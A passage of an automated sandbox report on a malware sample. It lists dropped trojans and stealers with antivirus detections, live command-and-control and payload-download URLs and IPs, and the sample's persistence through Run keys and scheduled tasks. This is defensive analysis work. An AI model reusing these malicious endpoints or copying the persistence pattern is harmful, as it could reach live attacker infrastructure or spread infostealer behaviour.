C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[3].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	45%	ReversingLabs	Win32.Backdoor.Androm
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	45%	ReversingLabs	Win32.Backdoor.Androm
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	58%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	67%	ReversingLabs	Win64.Trojan.Nekark
C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	67%	ReversingLabs	Win64.Trojan.Nekark

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label
dare-curbys.biz	100%	URL Reputation	malware
impend-differ.biz	100%	URL Reputation	malware
zinc-sneark.biz	100%	URL Reputation	malware
covery-mover.biz	100%	URL Reputation	malware
formy-spill.biz	100%	URL Reputation	malware
se-blurry.biz	100%	URL Reputation	malware
print-vexer.biz	100%	URL Reputation	malware
dwell-exclaim.biz	100%	URL Reputation	malware

Name	IP	Active	Malicious	Antivirus Detection
fivetk5pn.top	138.124.35.95	true	true
steamcommunity.com	104.121.10.34	true	true
tacitglibbr.biz	172.67.164.37	true	true
home.fivetk5pn.top	138.124.35.95	true	true
www.google.com	142.250.181.68	true	false
httpbin.org	44.196.3.45	true	false
dare-curbys.biz	unknown	unknown	true	100%, URL Reputation
impend-differ.biz	unknown	unknown	true	100%, URL Reputation
zinc-sneark.biz	unknown	unknown	true	100%, URL Reputation
covery-mover.biz	unknown	unknown	true	100%, URL Reputation
formy-spill.biz	unknown	unknown	true	100%, URL Reputation
se-blurry.biz	unknown	unknown	true	100%, URL Reputation
print-vexer.biz	unknown	unknown	true	100%, URL Reputation
dwell-exclaim.biz	unknown	unknown	true	100%, URL Reputation
drive-connect.cyou	unknown	unknown	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
dare-curbys.biz	true
http://185.11.61.104/Z.png	true
http://185.11.61.104/7jbBdsS/index.php	true
http://185.215.113.43/Zu7JuNko/index.php	true
formy-spill.biz	true
https://steamcommunity.com/profiles/76561199724331900	true
http://31.41.244.11/files/martin/random.exe	true
http://185.11.61.104/A.png	true
print-vexer.biz	true
impend-differ.biz	true
http://fivetk5pn.top/v1/upload.php	true
dwell-exclaim.biz	true
zinc-sneark.biz	true
se-blurry.biz	true

URLs from Memory and Binaries

Name	Source	Malicious
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://player.vimeo.com	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/	93121e2127.exe, 00000032.00000002.2449302385.0000000001553000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2446899796.0000000001553000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000002.2449081634.0000000001549000.00000004.00000020.00020000.00000000.sdmp	false
http://crl.microsoft	powershell.exe, 00000033.00000002.2636545702.0000028BFFFB5000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/?subsection=broadcasts	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
http://185.11.H	powershell.exe, 0000002A.00000002.2359938915.000001D3B027B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B83200000.00000004.00000800.00020000.00000000.sdmp	false
https://tacitglibbr.biz/pi	93121e2127.exe, 00000032.00000003.2446899796.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2447194751.0000000001585000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2447094347.000000000156B000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000002.2449426892.0000000001586000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/subscriber_agreement/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://www.gstatic.cn/recaptcha/	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
http://185.11.61.104/Z.pngX	powershell.exe, 0000002A.00000002.2359938915.000001D3AFE9E000.00000004.00000800.00020000.00000000.sdmp	false
http://www.valvesoftware.com/legal.htm	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://curl.se/docs/hsts.html	5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	false
https://www.google.com	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361790066.0000000000F38000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://nuget.org/nuget.exe	powershell.exe, 0000002A.00000002.2359938915.000001D3B0536000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2385623790.000001D3BECBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2556831562.0000028B91F19000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=Cx79WC7T	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://s.ytimg.com;	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/points/shop6	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp	false
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000002A.00000002.2359938915.000001D3AEC51000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000031.00000002.2358310864.0000000002EC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B81EB1000.00000004.00000800.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/fatalerror.css?v=OFUqlcDNiD6y&l=engli	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://steam.tv/	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=foEB	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	false
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	false
https://go.micro	powershell.exe, 0000002A.00000002.2359938915.000001D3AFE9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B82AEB000.00000004.00000800.00020000.00000000.sdmp	false
http://store.steampowered.com/privacy_agreement/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/Icon	powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	false
https://store.steampowered.com/points/shop/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://curl.se/docs/alt-svc.html	5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	false
https://xmrig.com/wizard	Intel_PTT_EK_Recertification.exe, 00000022.00000003.2289455203.0000020253D50000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000024.00000002.2299605602.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	false
https://sketchfab.com	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://lv.queniujq.cn	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://www.youtube.com/	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/Pester/Pester	powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	false
https://store.steampowered.com/privacy_agreement/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/of	47760e826c.exe, 00000028.00000003.2362115221.0000000000F88000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://httpbin.org/ipbefore	5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://www.google.com/recaptcha/	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://checkout.steampowered.com/	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/))8E	93121e2127.exe, 00000032.00000002.2449391395.000000000156C000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2446899796.0000000001569000.00000004.00000020.00020000.00000000.sdmp, 93121e2127.exe, 00000032.00000003.2447094347.000000000156B000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/;	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/about/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/my/wishlist/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
http://html4/loose.dtd	5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://help.steampowered.com/en/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/market/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/news/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/License	powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	false
http://go.mic?	8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp	false
http://store.steampowered.com/subscriber_agreement/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
http://.css	5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	false
http://185.11.61.104	powershell.exe, 0000002A.00000002.2359938915.000001D3AFE9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2359938915.000001D3AEE77000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B83200000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B820D8000.00000004.00000800.00020000.00000000.sdmp	true
https://recaptcha.net/recaptcha/;	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/discussions/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/stats/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://medal.tv	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://broadcast.st.dl.eccdnx.com	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/steam_refunds/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://steamcommunity.com/;e	47760e826c.exe, 00000028.00000002.2363949200.0000000000F57000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361790066.0000000000F54000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2362115221.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false
https://tacitglibbr.biz/api:Hk	93121e2127.exe, 00000032.00000002.2449081634.000000000150E000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
https://contoso.com/	powershell.exe, 00000033.00000002.2466870741.0000028B83884000.00000004.00000800.00020000.00000000.sdmp	false
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://oneget.orgX	powershell.exe, 0000002A.00000002.2359938915.000001D3B02A9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B8350E000.00000004.00000800.00020000.00000000.sdmp	false
https://steamcommunity.com/workshop/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://login.steampowered.com/	47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb	47760e826c.exe, 00000028.00000003.2362115221.0000000000F88000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2364079869.0000000000F88000.00000004.00000020.00020000.00000000.sdmp	false
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	false
https://store.steampowered.com/legal/	47760e826c.exe, 00000028.00000003.2361716427.0000000000FBC000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000003.2361716427.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 47760e826c.exe, 00000028.00000002.2363724217.0000000000F2C000.00000004.00000020.00020000.00000000.sdmp	false
http://.jpg	5b6b36c534.exe, 00000009.00000003.2068235769.0000000007315000.00000004.00001000.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
138.124.35.95	fivetk5pn.top	Norway	8983	NOKIA-ASFI	true
44.196.3.45	httpbin.org	United States	14618	AMAZON-AESUS	false
172.67.164.37	tacitglibbr.biz	United States	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
185.11.61.104	unknown	Russian Federation	199539	VERTEX-ASRU	true
104.121.10.34	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	true
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576231
Start date and time:	2024-12-16 17:00:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 21m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	55
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@90/58@34/10
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 172.217.19.227, 172.217.19.238, 64.233.162.84, 52.168.117.173, 172.202.163.200, 13.107.246.63, 20.190.147.0, 40.126.53.7, 184.30.24.109, 13.89.179.13
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, spocs.getpocket.com, clientservices.googleapis.com, aus5.mozilla.org, a19.dscg10.akamai.net, clients2.google.com, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, login.live.com, ipv4only.arpa, firefox.settings.services.mozilla.com, onedsblobprdeus15.eastus.cloudapp.azure.com, prod.ads.prod.webservices.mozgcp.net, www.youtube.com, normandy-cdn.services.mozilla.com, star-mini.c10r.facebook.com, prod.balrog.prod.cloudops.mozgcp.net, fs.microsoft.com, shavar.prod.mozaws.net, detectportal.firefox.com, dyna.wikimedia.org, normandy.cdn.mozilla.net, youtube-ui.l.google.com, reddit.map.fastly.net, blobcollector.events.data.trafficmanager.net, shavar.services.mozilla.com, umwatson.events.data.microsoft.com, clients.l.google.com, location.services.mozilla.com, example.org, prod.detectportal.prod.cloudops.mozgcp.net, www.reddit.com, services.addons.mozilla.org, ciscobinary.openh264.org
Execution Graph export aborted for target explorer.exe, PID 6932 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
11:02:00	API Interceptor	18187681x Sleep call for process: skotes.exe modified
11:02:41	API Interceptor	2x Sleep call for process: 47760e826c.exe modified
11:02:42	API Interceptor	76x Sleep call for process: powershell.exe modified
11:02:47	API Interceptor	997995x Sleep call for process: 5b6b36c534.exe modified
11:02:52	API Interceptor	1x Sleep call for process: WerFault.exe modified
11:02:54	API Interceptor	2x Sleep call for process: 93121e2127.exe modified
17:01:21	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
17:02:38	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
17:02:57	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 93121e2127.exe C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe
17:03:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run f43f43fc7e.exe C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe
17:03:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run d85d1975e9.exe C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe
17:03:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1d6483dfc2.exe C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe
17:03:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 93121e2127.exe C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe
17:03:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run f43f43fc7e.exe C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe
17:03:57	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run d85d1975e9.exe C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe
17:04:06	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1d6483dfc2.exe C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe
17:04:21	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8cb1e32b25.exe_5925bcfef49ffe53e647e9887bd63a4b49f62a44_b7473a35_14b034a0-fbb2-4dab-abaf-166522d4c370\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
